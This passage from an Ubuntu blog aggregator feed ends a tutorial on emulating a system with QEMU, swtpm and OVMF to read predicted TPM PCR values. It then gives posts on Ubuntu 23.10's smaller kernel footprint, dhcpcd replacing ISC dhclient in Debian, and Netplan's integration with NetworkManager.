<p>Another drawback is that, with this solution, later we will need to give QEMU
permission to <em>read</em> our drive, and if we’re not careful enough with the
commands we type (e.g. we swap the order of some arguments, or make some
typos), we may potentially end up <em>writing</em> to the drive instead.</p>
<h2 id="emulate-a-tpm-device-using-swtpm">Emulate a TPM device using swtpm</h2>
<p>There are various ways to run the swtpm emulator. Here I will use the “vTPM
proxy” way, which is not the easiest, but has the advantage that the emulated
device will look like a real TPM device not only to the guest, but also to the
host, so that we can inspect its PCR banks (among other things) from the host
using familiar tools like <code>tpm2_pcrread</code>.</p>
<p>First, enable the <code>tpm_vtpm_proxy</code> module (which is not enabled by default on
Ubuntu):</p>
<div class="highlight"><pre><span></span><code>sudo modprobe tpm_vtpm_proxy
</code></pre></div>
<p>If that worked, we should have a <code>/dev/vtpmx</code> device. We can verify its
presence with:</p>
<div class="highlight"><pre><span></span><code>ls /dev/vtpmx
</code></pre></div>
<p>swtpm in “vTPM proxy” mode will interact with <code>/dev/vtpmx</code>, but in order to do
so it needs the <code>sys_admin</code> capability. On Ubuntu, swtpm ships with this
capability explicitly disabled by AppArmor, but we can enable it with:</p>
<div class="highlight"><pre><span></span><code>sudo sh -c "echo ' capability sys_admin,' > /etc/apparmor.d/local/usr.bin.swtpm"
systemctl reload apparmor
</code></pre></div>
<p>Now that <code>/dev/vtpmx</code> is present, and swtpm can talk to it, we can run swtpm
in “vTPM proxy” mode:</p>
<div class="highlight"><pre><span></span><code>sudo mkdir /tpm/swtpm-state
sudo swtpm chardev --tpmstate dir=/tmp/swtpm-state --vtpm-proxy --tpm2
</code></pre></div>
<p>Upon start, swtpm should create a new <code>/dev/tpmN</code> device and print its name on
the terminal. On my system, I already have a real TPM on <code>/dev/tpm0</code>, and
therefore swtpm allocates <code>/dev/tpm1</code>.</p>
<p>The emulated TPM device will need to be readable and writeable by QEMU, but the
emulated TPM device is by default accessible only by root, so either we run
QEMU as root (not recommended), or we relax the permissions on the device:</p>
<div class="highlight"><pre><span></span><code># replace '/dev/tpm1' with the device created by swtpm
sudo chmod a+rw /dev/tpm1
</code></pre></div>
<p>Make sure not to accidentally change the permissions of your real TPM device!</p>
<h2 id="emulate-the-system-with-qemu">Emulate the system with QEMU</h2>
<p>Inside the QEMU emulator, we will run the OVMF UEFI firmware. On Ubuntu, the
firmware comes in 2 flavors:</p>
<ul>
<li>with Secure Boot enabled (<code>/usr/share/OVMF/OVMF_CODE_4M.ms.fd</code>), and</li>
<li>with Secure Boot disabled (in <code>/usr/share/OVMF/OVMF_CODE_4M.fd</code>)</li>
</ul>
<p>(There are actually even more flavors, see <a href="https://askubuntu.com/q/1409590">this AskUbuntu
question</a> for the details.)</p>
<p>In the commands that follow I’m going to use the Secure Boot flavor, but if you
need to disable Secure Boot in your guest, just replace <code>.ms.fd</code> with <code>.fd</code> in
all the commands below.</p>
<p>To use OVMF, first we need to copy the EFI variables to a file that can be read
& written by QEMU:</p>
<div class="highlight"><pre><span></span><code>cp /usr/share/OVMF/OVMF_VARS_4M.ms.fd /tmp/
</code></pre></div>
<p>This file (<code>/tmp/OVMF_VARS_4M.ms.fd</code>) will be the equivalent of the EFI flash
storage, and it’s where OVMF will read and store its configuration, which is
why we need to make a copy of it (to avoid modifications to the original file).</p>
<p>Now we’re ready to run QEMU:</p>
<ul>
<li>
<p>If you <a href="https://andrea.corbellini.name/ubuntu.rss#early-boot-components-only">copied only the early boot files (choice
#1)</a>:</p>
<div class="highlight"><pre><span></span><code># replace '/dev/tpm1' with the device created by swtpm
qemu-system-x86_64 \
-accel kvm \
-machine q35,smm=on \
-cpu host \
-smp cores=4,threads=1 \
-m 4096 \
-vga virtio \
-bios /usr/share/ovmf/OVMF.fd \
-drive if=pflash,unit=0,format=raw,file=/usr/share/OVMF/OVMF_CODE_4M.ms.fd,readonly=on \
-drive if=pflash,unit=1,format=raw,file=/tmp/OVMF_VARS_4M.ms.fd \
-drive if=virtio,format=raw,file=drive.img \
-tpmdev passthrough,id=tpm0,path=/dev/tpm1,cancel-path=/dev/null \
-device tpm-tis,tpmdev=tpm0
</code></pre></div>
</li>
<li>
<p>If you have <a href="https://andrea.corbellini.name/ubuntu.rss#entire-system">a copy-on-write file for the entire system (choice
#2)</a>:</p>
<div class="highlight"><pre><span></span><code># replace '/dev/tpm1' with the device created by swtpm
sudo -g disk qemu-system-x86_64 \
-accel kvm \
-machine q35,smm=on \
-cpu host \
-smp cores=4,threads=1 \
-m 4096 \
-vga virtio \
-bios /usr/share/ovmf/OVMF.fd \
-drive if=pflash,unit=0,format=raw,file=/usr/share/OVMF/OVMF_CODE_4M.ms.fd,readonly=on \
-drive if=pflash,unit=1,format=raw,file=/tmp/OVMF_VARS_4M.ms.fd \
-drive if=virtio,format=qcow2,file=drive.qcow2 \
-tpmdev passthrough,id=tpm0,path=/dev/tpm1,cancel-path=/dev/null \
-device tpm-tis,tpmdev=tpm0
</code></pre></div>
<p>Note that this last command makes QEMU run as the <code>disk</code> group: on Ubuntu,
this group has the permission to read <em>and write</em> all storage devices, so
be careful when running this command, or you risk losing your files
forever! If you want to add more safety, you may consider using an
<a href="https://manpages.ubuntu.com/manpages/mantic/en/man5/acl.5.html">ACL</a> to
give the user running QEMU read-only permission to your backing storage.</p>
</li>
</ul>
<p>In either case, after launching QEMU, our operating system should boot…
while running inside itself!</p>
<p>In some circumstances though it may happen that the wrong operating system is
booted, or that you end up at the EFI setup screen. This can happen if your
system is not configured to boot from the “first” EFI entry listed in the EFI
partition. Because the boot order is not recorded anywhere on the storage
device (it’s recorded in the EFI flash memory), of course OVMF won’t know which
operating system you intended to boot, and will just attempt to launch the
first one it finds. You can use the EFI setup screen provided by OVMF to change
the boot order in the way you like. After that, changes will be saved into the
<code>/tmp/OVMF_VARS_4M.ms.fd</code> file on the host: you should keep a copy of that file
so that, next time you launch QEMU, you’ll boot directly into your operating
system.</p>
<h2 id="reading-pcr-banks-after-boot">Reading PCR banks after boot</h2>
<p>Once our operating system has launched inside QEMU, and after the boot process
is complete, the PCR banks will be filled and recorded by swtpm.</p>
<p>If we choose to <a href="https://andrea.corbellini.name/ubuntu.rss#early-boot-components-only">copy only the early boot files (choice
#1)</a>, then of course our operating system won’t be
<em>fully</em> booted: it’ll likely hang waiting for the root filesystem to appear,
and may eventually drop to the initrd shell. None of that really matters if all
we want is to see the PCR values stored by the bootloader.</p>
<p>Before we can extract those PCR values, we first need to stop QEMU (Ctrl-C is
fine), and then we can read it with <code>tpm2_pcrread</code>:</p>
<div class="highlight"><pre><span></span><code># replace '/dev/tpm1' with the device created by swtpm
tpm2_pcrread -T device:/dev/tpm1
</code></pre></div>
<p>Using the method described here in this article, PCRs 4, 5, 8, and 9 inside the
emulated TPM <em>should</em> match the PCRs in our real TPM. And here comes an
interesting application of this method: if we upgrade our bootloader or kernel,
and we want to know the <em>future</em> PCR values that our system will have after
reboot, we can simply follow this procedure and obtain those PCR values without
shutting down our system! This can be especially useful if we use TPM sealing:
we can reseal our secrets and make them unsealable at the next reboot without
trouble.</p>
<h2 id="restarting-the-virtual-machine">Restarting the virtual machine</h2>
<p>If we want to restart the guest inside the virtual machine, and obtain a
consistent TPM state every time, we should start from a “clean” state every
time, which means:</p>
<ol>
<li>restart swtpm</li>
<li>recreate the <code>drive.img</code> or <code>drive.qcow2</code> file</li>
<li>launch QEMU again</li>
</ol>
<p>If we don’t restart swtpm, the virtual TPM state (and in particular the PCR
banks) won’t be cleared, and new PCR measurements will simply be added on top
of the existing state. If we don’t recreate the drive file, it’s possible that
some modifications to the filesystems will have an impact on the future PCR
measurements.</p>
<p>We don’t necessarily need to recreate the <code>/tmp/OVMF_VARS_4M.ms.fd</code> file every
time. In fact, if you need to modify any EFI setting to make your system
bootable, you might want to preserve it so that you don’t need to change EFI
settings at every boot.</p>
<h1 id="automating-the-entire-process">Automating the entire process</h1>
<p>I’m (very slowly) working on turning this entire procedure into a script, so
that everything can be automated. Once I find some time I’ll finish the script
and publish it, so if you liked this article, stay tuned, and let me know if
you have any comment/suggestion/improvement/critique!</p>2023-11-19T16:33:00+00:00andreacorbelliniDimitri John Ledkov: Ubuntu 23.10 significantly reduces the installed kernel footprint
http://blog.surgut.co.uk/2023/11/ubuntu-2310-significantly-reduces.html
<p><span style="color: #0e101a; font-family: Arial, sans-serif; font-size: 11pt;"><br /></span></p><p></p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn4rImnreYgG1NES8wXyPT2ML-m8NJ7y5FrxF7Xek7Nni0ZF0F4OLx567s-zeMaYbxiOU-K8KDkUduWeX55fHVWvI30YI_S5o7Q6Y69xtVS25Uis7FI1SIGc7RtKBAgwPbn2RsB30YOv8BBSr4a1fVEeZROSbD2ga7EJZQIhjmpXP02ubhRPZkGH5fVUk/s1280/pexels-pixabay-372796.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="960" data-original-width="1280" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn4rImnreYgG1NES8wXyPT2ML-m8NJ7y5FrxF7Xek7Nni0ZF0F4OLx567s-zeMaYbxiOU-K8KDkUduWeX55fHVWvI30YI_S5o7Q6Y69xtVS25Uis7FI1SIGc7RtKBAgwPbn2RsB30YOv8BBSr4a1fVEeZROSbD2ga7EJZQIhjmpXP02ubhRPZkGH5fVUk/w400-h300/pexels-pixabay-372796.jpg" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><span>Photo by <a href="https://www.pexels.com/photo/metal-pippings-with-pressure-gauge-372796/" target="_blank">Pixabay</a></span></td></tr></tbody></table><p></p><p><span style="color: #0e101a; font-family: Arial, sans-serif; font-size: 11pt;">Ubuntu systems typically have up to 3 kernels installed, before they are auto-removed by apt on classic installs. Historically the installation was optimized for metered download size only. However, kernel size growth and usage no longer warrant such optimizations. During the 23.10 Mantic Minatour cycle, I led a coordinated effort across multiple teams to implement lots of optimizations that together achieved unprecedented install footprint improvements.</span></p><span id="docs-internal-guid-66c11ab4-7fff-5998-0d03-a26cf6ea14ef"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #0e101a; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline;">Given a typical install of 3 generic kernel ABIs in the default configuration on a regular-sized VM (2 CPU cores 8GB of RAM) the following metrics are achieved in Ubuntu 23.10 versus Ubuntu 22.04 LTS:</span></p><ul style="margin-bottom: 0; margin-top: 0; padding-inline-start: 48px;"><li dir="ltr" style="color: #0e101a; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline; white-space: pre;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; vertical-align: baseline;">2x less disk space used (1,417MB vs 2,940MB, including initrd)</span></p></li><li dir="ltr" style="color: #0e101a; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline; white-space: pre;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; vertical-align: baseline;">3x less peak RAM usage for the initrd boot (68MB vs 204MB)</span></p></li><li dir="ltr" style="color: #0e101a; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline; white-space: pre;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; vertical-align: baseline;">0.5x increase in download size (949MB vs 600MB)</span></p></li><li dir="ltr" style="color: #0e101a; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline; white-space: pre;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; vertical-align: baseline;">2.5x faster initrd generation (4.5s vs 11.3s)</span></p></li><li dir="ltr" style="color: #0e101a; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline; white-space: pre;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; vertical-align: baseline;">approximately the same total time (103s vs 98s, hardware dependent)</span></p></li></ul><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #0e101a; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline;">For minimal cloud images that do not install either linux-firmware or modules extra the numbers are:</span></p><ul style="margin-bottom: 0; margin-top: 0; padding-inline-start: 48px;"><li dir="ltr" style="color: #0e101a; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline; white-space: pre;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; vertical-align: baseline;">1.3x less disk space used (548MB vs 742MB)</span></p></li><li dir="ltr" style="color: #0e101a; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline; white-space: pre;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; vertical-align: baseline;">2.2x less peak RAM usage for initrd boot (27MB vs 62MB)</span></p></li><li dir="ltr" style="color: #0e101a; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline; white-space: pre;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; vertical-align: baseline;">0.4x increase in download size (207MB vs 146MB)</span></p></li></ul><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #0e101a; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline;">Hopefully, the compromise of download size, relative to the disk space & initrd savings is a win for the majority of platforms and use cases. For users on extremely expensive and metered connections, the likely best saving is to receive air-gapped updates or skip updates.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #0e101a; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline;">This was achieved by precompressing kernel modules & firmware files with the maximum level of Zstd compression at package build time; making actual .deb files uncompressed; assembling the initrd using split cpio archives - uncompressed for the pre-compressed files, whilst compressing only the userspace portions of the initrd; enabling in-kernel module decompression support with matching kmod; fixing bugs in all of the above, and landing all of these things in time for the feature freeze. Whilst leveraging the experience and some of the design choices implementations we have already been shipping on Ubuntu Core. Some of these changes are backported to Jammy, but only enough to support smooth upgrades to Mantic and later. Complete gains are only possible to experience on Mantic and later.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #0e101a; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline;">The discovered bugs in kernel module loading code likely affect systems that use LoadPin LSM with kernel space module uncompression as used on ChromeOS systems. Hopefully, Kees Cook or other ChromeOS developers pick up the kernel fixes from the stable trees. Or you know, just use Ubuntu kernels as they do get fixes and features like these first.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #0e101a; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline;">The team that designed and delivered these changes is large: Benjamin Drung, Andrea Righi, Juerg Haefliger, Julian Andres Klode, Steve Langasek, Michael Hudson-Doyle, Robert Kratky, Adrien Nader, Tim Gardner, Roxana Nicolescu - and myself Dimitri John Ledkov ensuring the most optimal solution is implemented, everything lands on time, and even implementing portions of the final solution.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #0e101a; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline;">Hi, It's me, I am a Staff Engineer at Canonical and we are hiring </span><a href="https://canonical.com/careers" target="_blank"><span style="color: #4a6ee0; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline;">https://canonical.com/careers</span></a><span style="color: #0e101a; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline;">.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #0e101a; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline;">Lots of additional technical details and benchmarks on a huge range of diverse hardware and architectures, and bikeshedding all the things below:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"></p><ul style="text-align: left;"><li><a href="https://lists.ubuntu.com/archives/ubuntu-devel/2023-July/thread.html#42652" target="_blank"><span style="color: #1155cc; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline;">https://lists.ubuntu.com/archives/ubuntu-devel/2023-July/thread.html#42652</span></a></li><li><a href="https://lists.ubuntu.com/archives/kernel-team/2023-July/thread.html#141412" target="_blank"><span style="color: #1155cc; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline;">https://lists.ubuntu.com/archives/kernel-team/2023-July/thread.html#141412</span></a></li><li><a href="https://lists.ubuntu.com/archives/ubuntu-devel/2023-July/thread.html#42707" target="_blank"><span style="color: #1155cc; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline;">https://lists.ubuntu.com/archives/ubuntu-devel/2023-July/thread.html#42707</span></a></li><li><a href="https://discourse.ubuntu.com/t/reduce-initramfs-size-and-speed-up-the-generation-in-ubuntu-23-10/38972" target="_blank"><span style="color: #1155cc; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline;">https://discourse.ubuntu.com/t/reduce-initramfs-size-and-speed-up-the-generation-in-ubuntu-23-10/38972</span></a></li><li><a href="https://lore.kernel.org/all/20230830155820.138178-1-andrea.righi@canonical.com/" target="_blank"><span style="color: #1155cc; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline;">https://lore.kernel.org/all/20230830155820.138178-1-andrea.righi@canonical.com/</span></a></li><li><a href="https://lore.kernel.org/all/20230829123808.325202-1-andrea.righi@canonical.com/" target="_blank"><span style="color: #1155cc; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline;">https://lore.kernel.org/all/20230829123808.325202-1-andrea.righi@canonical.com/</span></a></li><li><a href="https://facebook.github.io/zstd/" target="_blank"><span style="color: #1155cc; font-family: Arial, sans-serif; font-size: 11pt; vertical-align: baseline;">https://facebook.github.io/zstd/</span></a></li></ul><p></p>For questions and comments please post to Kernel section on <a href="https://discourse.ubuntu.com/c/kernel/108" target="_blank">Ubuntu Discourse</a>.<br /><br /><br /><br /></span>2023-11-16T10:45:08+00:00Dimitri John LedkovMartin-Éric Racine: dhcpcd almost ready to replace ISC dhclient in Debian
http://q-funk.blogspot.com/2023/11/dhcpcd-almost-ready-to-replace-isc.html
<p>A lot of time has passed since my previous post on my work to make <b>dhcpcd</b> the drop-in replacement for the deprecated ISC dhclient a.k.a. <b>isc-dhcp-client</b>. Current status:</p>
<ul>
<li>Upstream now regularly produces releases and with a smaller delta than before. This makes it easier to track possible breakage.</li>
<li>Debian packaging has essentially remained unchanged. A few Recommends were shuffled, but that's about it.</li>
<li>The only remaining bug is fixing the build for <b>Hurd</b>. Patches are welcome. Once that is fixed, bumping <b>dhcpcd-base</b>'s priority to important is all that's left.</li>
</ul>2023-11-16T09:38:58+00:00Martin-ÉricLukas Märdian: Netplan brings consistent network configuration across Desktop, Server, Cloud and IoT
https://blog.slyon.de/2023/11/12/netplan-brings-consistent-network-configuration-across-desktop-server-cloud-and-iot/
<p class="has-text-align-center"><img height="351" src="https://lh7-us.googleusercontent.com/eCZ_pK0jISK00IRzV0usPZJm6ZeZWGtDIxJKIvvcpCBr8Im5uOs1Z2MFbGDwnZoPeNQ5e-Ow_PM20j99CXIY84AoVk-FuPmlGRVehnvQeAVt_R2KbsGUp1-BxaBFKI2MWxGncM1W4tvs608Vn_WaYxM" width="624" /></p>
<p class="has-text-align-center">Ubuntu 23.10 “Mantic Minotaur” Desktop, showing network settings</p>
<p>We released Ubuntu 23.10 ‘Mantic Minotaur’ on 12 October 2023, shipping its <a href="https://ubuntu.com/blog/a-declarative-approach-to-linux-networking-with-netplan">proven and trusted network stack based on Netplan</a>. Netplan is the default tool to configure Linux networking on Ubuntu since 2016. In the past, it was primarily used to control the Server and Cloud variants of Ubuntu, while on Desktop systems it would hand over control to NetworkManager. In Ubuntu 23.10 this disparity in how to control the network stack on different Ubuntu platforms was closed by integrating NetworkManager with the underlying Netplan stack.</p>
<p>Netplan could already be used to describe network connections on Desktop systems managed by NetworkManager. But network connections created or modified through NetworkManager would not be known to Netplan, so it was a one-way street. Activating the bidirectional NetworkManager-Netplan integration allows for any configuration change made through NetworkManager to be propagated back into Netplan. Changes made in Netplan itself will still be visible in NetworkManager, as before. This way, Netplan can be considered the “single source of truth” for network configuration across all variants of Ubuntu, with the network configuration stored in <code>/etc/netplan/</code>, using Netplan’s common and declarative YAML format.</p>
<h2 class="wp-block-heading">Netplan Desktop integration</h2>
<p>On workstations, the most common scenario is for users to configure networking through NetworkManager’s graphical interface, instead of driving it through Netplan’s declarative YAML files. Netplan ships a “libnetplan” library that provides an API to access Netplan’s parser and validation internals, which is now used by NetworkManager to store any network interface configuration changes in Netplan. For instance, network configuration defined through NetworkManager’s graphical UI or D-Bus API will be exported to Netplan’s native YAML format in the common location at <code>/etc/netplan/</code>. This way, the only thing administrators need to care about when managing a fleet of Desktop installations is Netplan. Furthermore, programmatic access to all network configuration is now easily accessible to other system components integrating with Netplan, such as snapd. This solution has already been used in more confined environments, such as Ubuntu Core and is now enabled by default on Ubuntu 23.10 Desktop.</p>
<h2 class="wp-block-heading">Migration of existing connection profiles</h2>
<p>On installation of the NetworkManager package (network-manager >= 1.44.2-1ubuntu1) in Ubuntu 23.10, all your existing connection profiles from <code>/etc/NetworkManager/system-connections/</code> will automatically and transparently be migrated to Netplan’s declarative YAML format and stored in its common configuration directory <code>/etc/netplan/</code>. </p>
<p>The same migration will happen in the background whenever you add or modify any connection profile through the NetworkManager user interface, integrated with GNOME Shell. From this point on, Netplan will be aware of your entire network configuration and you can query it using its CLI tools, such as “<code>sudo netplan get</code>” or “<code>sudo netplan status</code>” without interrupting traditional NetworkManager workflows (UI, nmcli, nmtui, D-Bus APIs). You can observe this migration on the apt-get command line, watching out for logs like the following:</p>
<pre class="wp-block-preformatted"><code>Setting up network-manager (1.44.2-1ubuntu1.1) ...
Migrating HomeNet (9d087126-ae71-4992-9e0a-18c5ea92a4ed) to /etc/netplan
Migrating eduroam (37d643bb-d81d-4186-9402-7b47632c59b1) to /etc/netplan
Migrating DebConf (f862be9c-fb06-4c0f-862f-c8e210ca4941) to /etc/netplan</code></pre>
<p></p>
<p>In order to prepare for a smooth transition, NetworkManager tests were integrated into Netplan’s continuous integration pipeline at the upstream GitHub repository. Furthermore, we implemented a <a href="https://netplan.readthedocs.io/en/latest/netplan-everywhere/">passthrough method</a> of handling unknown or new settings that cannot yet be fully covered by Netplan, making Netplan future-proof for any upcoming NetworkManager release.</p>
<h2 class="wp-block-heading">The future of Netplan</h2>
<p>Netplan has established itself as the proven network stack across all variants of Ubuntu – Desktop, Server, Cloud, or Embedded. It has been the default stack across many Ubuntu LTS releases, serving millions of users over the years. With the bidirectional integration between NetworkManager and Netplan the final piece of the puzzle is implemented to consider Netplan the “single source of truth” for network configuration on Ubuntu. With <a href="https://blog.slyon.de/2023/07/10/netplan-and-systemd-networkd-on-debian-bookworm/">Debian choosing Netplan</a> to be the default network stack for their cloud images, it is also gaining traction outside the Ubuntu ecosystem and growing into the wider open source community.</p>
<p>Within the development cycle for Ubuntu 24.04 LTS, we will polish the Netplan codebase to be ready for a 1.0 release, coming with certain guarantees on API and ABI stability, so that other distributions and 3rd party integrations can rely on Netplan’s interfaces. First steps into that direction have already been taken, as the Netplan team reached out to the Debian community at <a href="https://debconf23.debconf.org/talks/11-a-declarative-approach-to-linux-networking-with-netplan/">DebConf 2023 in Kochi/India</a> to evaluate possible synergies.</p>
<h2 class="wp-block-heading">Conclusion</h2>
<p>Netplan can be used transparently to control a workstation’s network configuration and plays hand-in-hand with many desktop environments through its tight integration with NetworkManager. It allows for easy network monitoring, using common graphical interfaces and provides a “single source of truth” to network administrators, allowing for configuration of Ubuntu Desktop fleets in a streamlined and declarative way. You can try this new functionality hands-on by following the “<a href="https://ubuntu.com/tutorials/access-desktop-networkmanager-settings-through-netplan">Access Desktop NetworkManager settings through Netplan</a>” tutorial.</p>
<p><br />If you want to learn more, feel free to follow our activities on <a href="https://netplan.io/">Netplan.io</a>, <a href="https://github.com/canonical/netplan">GitHub</a>, <a href="https://bugs.launchpad.net/netplan">Launchpad</a>, <a href="https://web.libera.chat/gamja/?channels=%23netplan">IRC</a> or our <a href="https://discourse.ubuntu.com/t/blog-netplan-developer-diaries/35932">Netplan Developer Diaries</a> blog on discourse.</p>2023-11-12T15:00:00+00:00slyon